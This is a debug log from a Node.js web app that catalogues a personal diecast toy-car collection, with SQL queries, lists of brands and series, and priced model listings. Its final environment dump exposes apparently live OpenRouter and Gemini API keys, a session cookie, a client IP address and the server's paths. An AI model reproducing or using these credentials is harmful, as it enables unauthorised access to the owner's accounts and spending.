    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:48:44.196Z server-connect:output restrict: undefined
2026-02-04T11:48:44.196Z server-connect:app Executing action step select
2026-02-04T11:48:44.196Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:48:44.197Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 }
]
2026-02-04T11:48:44.198Z server-connect:app Executing action step identify
2026-02-04T11:48:44.198Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:44.198Z server-connect:output identity: 1
2026-02-04T11:48:44.198Z server-connect:app Executing action step restrict
2026-02-04T11:48:44.198Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:44.199Z server-connect:output restrict: undefined
2026-02-04T11:48:44.199Z server-connect:app Executing action step select
2026-02-04T11:48:44.199Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:48:44.200Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 22,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 66,
      model_name: 'Hoto Roto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 65,
      model_name: 'Cruise Bruiser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 61,
      model_name: 'RRRoadster',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 54,
      model_name: "Drift'n Break",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 36,
      model_name: 'EL Segundo Rally',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 34,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 33,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 31,
      model_name: 'Ravenger S/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 25,
      model_name: 'Terra-Tracktyl',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:48:44.201Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:48:44.201Z server-connect:app Executing action step select
2026-02-04T11:48:44.202Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:48:44.202Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:48:44.203Z server-connect:app Executing action step select
2026-02-04T11:48:44.203Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:48:44.203Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:49:35.370Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:49:35.370Z server-connect:app Executing action step identify
2026-02-04T11:49:35.370Z server-connect:app options: { provider: 'security' }
2026-02-04T11:49:35.371Z server-connect:output identity: 1
2026-02-04T11:49:35.371Z server-connect:app Executing action step restrict
2026-02-04T11:49:35.371Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:49:35.372Z server-connect:output restrict: undefined
2026-02-04T11:49:35.372Z server-connect:app Executing action step paged
2026-02-04T11:49:35.372Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:49:35.375Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 9,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 49,
      model_name: 'Porsche 911 Turbo Cabriolet',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 38,
      model_name: 'Porsche 904 Carrera GTS',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 28,
      model_name: '1983 Porsche 928S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:56:30.704Z server-connect:router Serving templateView /
2026-02-04T11:56:30.705Z server-connect:app Executing action step identify
2026-02-04T11:56:30.705Z server-connect:app options: { provider: 'security' }
2026-02-04T11:56:30.705Z server-connect:output identity: 1
2026-02-04T11:56:30.705Z server-connect:app Executing action step restrict
2026-02-04T11:56:30.705Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:56:30.707Z server-connect:output restrict: undefined
2026-02-04T11:56:30.707Z server-connect:app Executing action step restrict
2026-02-04T11:56:30.707Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:56:30.707Z server-connect:output restrict: undefined
2026-02-04T11:56:30.707Z server-connect:router Render template layouts/main
2026-02-04T11:56:30.707Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
